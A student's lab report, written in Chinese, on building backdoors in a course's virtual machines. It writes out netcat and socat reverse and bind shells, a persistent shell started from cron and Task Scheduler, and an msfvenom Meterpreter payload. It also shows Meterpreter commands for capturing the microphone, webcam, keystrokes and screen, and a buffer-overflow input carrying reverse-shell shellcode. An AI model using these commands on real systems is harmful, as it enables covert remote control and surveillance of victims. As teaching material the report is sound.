20174309徐宁艺 Exp2 后门原理与实践
写在前面:
再次打开虚拟机的第一件事情就是看我的共享文件夹如何了,果不其然又不见了。以下是设置每次开机启动都自动挂载共享文件夹的方法:
1. 使用vi编辑器打开/etc/fstab
2.在fstab文件最后一行添加
.host:/ShareDir(共享文件夹名称) /mnt/hgfs/ShareDir fuse.vmhgfs-fuse allow_other 0 0
然后输入【:wq】保存并退出。此时重启会发现共享文件夹里会有文件。(关于共享文件夹的第二次补充)
一、实验原理
(一)后门概念
后门就是不通过正常认证流程而访问系统的通道。本次实验特指潜伏于操作系统中专门做后门的一个程序。
(二)常用后门工具
1.NC或NETCAT
(1)是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
(2)Linux一般自带,“man netcat”或“man nc”可以查看使用说明。
Windows下载老师上传的附件解压后运行程序闪退,复制到system32文件夹后cmd输入nc显示【不是内部或外部命令,也不是可运行的命令】,输入ncat则有以下显示:
自行安装ncat步骤如下:
- 官网下载链接https://eternallybored.org/misc/netcat/
- 下载后被识别为木马病毒,选择将其找回。
- 解压后将nc.exe文件复制到C:\Windows\System32,再打开cmd发现可以正常运行
(3)Windows与Linux之间传输数据
- Windows端cmd输入 nc.exe 192.168.152.129 5310
- Linux端输入 nc -l -p 5310
- 此时在任意一端的输入都会在另一端显示出来:
(4)Windows获得Linux的Shell
- 在Windows端cmd输入 ipconfig 查看IP地址为192.168.137.1
- 还是Windows端cmd继续输入 nc -l -p 5310 打开Windows监听,此时弹出防火墙选择【允许访问】
- Linux端输入 nc 192.168.137.1 5310 -e /bin/sh
- 此时Windows端获得Linux的shell,可以输入shell指令:
(5)Linux获得Windows的shell
- Linux端输入 ip addr 得到IP地址为192.168.152.129
- 还是Linux端输入 nc -l -p 5310 打开监听
- 在Windows端
- 此时Linux端可以输入Windows的shell指令
2.Meterpreter
Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。
二、实验过程
(一)使用netcat获取主机操作shell,cron启动
crontab用于设置周期性被执行的指令。在Linux端下:
- 输入 crontab -e 添加cron任务区,选择编辑器3
- 在最后一行添加代码 3 * * * * /bin/netcat 192.168.137.1 5301 -e /bin/sh ,表示每小时的第20分钟反向链接Windows主机的5301端口,然后保存并退出。
- 时间到达21:25的时候在Windows端验证
(二)使用socat获取主机操作Shell, 任务计划启动
socat是ncat的增强版,是一个两个独立数据通道之间的双向数据传输的继电器。这些数据通道包含文件、管道、设备等,主要特点是能在两个数据流之间建立通道,且支持众多协议和链接方式如ip, tcp, udp, ipv6等。
- 在Windows端下载socat压缩包
- 在Windows单击【计算机】—【管理】—【任务计划程序】下【任务计划程序库】,选择【创建任务】
- 填写任务名,新建一个触发器
- 新建操作,在【程序或脚本】中选择【socat.exe】文件路径,在添加参数一栏填写 tcp-listen:5302 exec:cmd.exe,pty,stderr ,这个命令的作用是把
cmd.exe
绑定到端口5302,同时把cmd.exe的stderr重定向到stdout上
此时可以看到任务状态为【准备就绪】
- 在21:55时弹出一个cmd窗口和防火墙设置,依旧选择【允许访问】,在Linux端输入 socat - tcp:192.168.137.1:5302 ,但是显示连接被拒绝
推测可能是由于Linux系统防火墙没有关闭,使用以下方法关闭防火墙:
进入root用户,输入 apt-get install ufw (因为kali比较特殊,不能直接利用iptables服务,需下载ufw进行管理),然后输入 sudo ufw disable ,此时防火墙已成功关闭
重复上面的步骤,发现可以获取Windows的shell,说明我猜对了,嘿嘿嘿
(三)使用MSF meterpreter生成可执行文件,利用ncat传送到主机并运行获取主机Shell
- 在Linux端输入 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.152.129 LPORT=5302 -f exe > 4309_backdoor.exe (主机地址、端口号和文件名自行修改),此时命令运行不了(我怎么又出错了我好难)
输入 sudo gem install bundler:1.17.3 ,再输入上面的命令,可以执行了,文件管理器中可以看到后门程序已经生成了
- 在Windows端下输 nc.exe -lv 5302 > 4309_backdoor.exe ,在Linux端下输入 nc 192.168.137.1 5302 < 4309_backdoor.exe ,我哭出声,它怎么又不行了
Windows:
Linux:
通过查找资料。。。。也没有找到解决办法,但是很神奇的是后门程序自己出现在Windows里了(我发誓我没有复制它!先继续吧等做完再查查怎么回事)
- 在Linux上使用msfconsole 进入msf控制台,依次输入:
use exploit/multi/handler //监听设置payload
set payload windows/meterpreter/reverse_tcp //使用与生成后门程序一样的payload set LHOST 192.168.152.129 //Linux端的IP地址 set LPORT 5302 //与之前输入的端口号一致 exploit //开始监听
在Windows端关闭命令行窗口,双击运行后门程序4309_backdoor.exe,返回Linux端之后发现获得Windows的shell。
(四)使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
做第四个实验的时候已经是第二天上午了,需要按照前一个实验步骤重新打开meterpreter监听
1.获取录音权限
使用 record_mic -d 10 来获取录音权限并录制一段10s的音频,录制完毕后可以看到保存路径,音频可以播放
2.获取摄像头权限
使用 webcam_snap 可以获取摄像头权限来拍摄
注意拍得比较快,所以记得提前摆好pose,或者直接像我一样让男朋友出场也行(好帅)
3.获取击键记录
使用 keyscan_start 可以获取击键权限得到击键记录, keyscan_dump 可以用于读取击键记录
我在Word里面输了这些内容(被监视的感觉!虽然是被自己监视的 =。=)
4. 获取截屏权限
使用 screenshot 可以获得截屏,可以看到我此刻正在边做实验边写博客(被监视的感觉越发令人害怕)
5.提权
使用 getuid 可以查看用户, getsystem 进行提权。
哦失败了。参考了丁文韬同学的博客(虽然我不认识,不过没关系)此处是链接
哦还是失败了。只好去问度娘了。
(五)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
1.生成shellcode
- 在https://www.exploit-db.com/shellcodes搜索并下载一个【linux/x86 - Reverse】的文件,用记事本打开查看里面的机器码
- 打开终端1,先关闭地址随机化 echo "0" > /proc/sys/kernel/randomize_va_space ,然后根据得到的机器码,构造input文件
perl -e 'print "A" x 32;print"\x1\x2\x3\x4\\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input
- 结合实验一的内容查看shellcode的地址(此处详细过程略)
可得shellcode的地址为0xffffd1b4,修改生成input文件
perl -e 'print "A" x 32;print"\xb4\xd1\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input
2.msf注入
- 打开终端2,输入 msfconsole 打开msf控制台,输入以下内容:
use exploit/multi/handler set payload linux/x86/shell_reverse_tcp set LHOST 127.0.0.1 set LPORT 4444 exploit
其中主机地址和和端口号根据前面下载的源文件得到
- 在前面打开的终端1中输入 (cat input;cat) | ./20174309pwn1 ,此时在终端2中可以使用shell了
三、实验总结
(一)基础问题回答
1.例举你能想到的一个后门进入到你系统中的可能方式?
安装了带有后门的盗版、破解版软件。
2.例举你知道的后门如何启动起来(win及linux)的方式?
Windows:开机自启动、打开软件的时候启动、下载文件捆绑
Linux:注入shellcode
3.Meterpreter有哪些给你印象深刻的功能?
能够控制摄像头、记录击键,感觉自己的电脑完全被监视了,细思极恐
4.如何发现自己的系统有没有被安装后门?
我觉得就我们现在的水平而言还是先依靠那些杀毒软件、电脑管家吧,定期进行电脑体检、定期杀毒、及时修复系统漏洞。如果想不看这些软件检测一下的话,可以看看有无异常端口开放,注册表有无异常,有无其他admin权限的用户等。
(二)实验总结与体会
这次实验让我体会到了黑客技术的可怕,完成实验的第一件事就是打开我的杀毒软件,被监控的感觉实在是让人心里发毛。虽然我们做的只是简单基本的操作,但是在电脑互联网刚刚出现的那个年代,没有这么强大的安全防护意识和防护能力,被有心之人安装后门简直轻而易举。随着科技的进步,攻与防始终是此消彼涨,要做好防护工作,必须充分了解攻击技术才能有效针对,我认为这才是我们学习这些知识的意义所在。
这次实验很遗憾的是提权操作到最后也依然没有成功。等我缓缓再想想办法看看吧。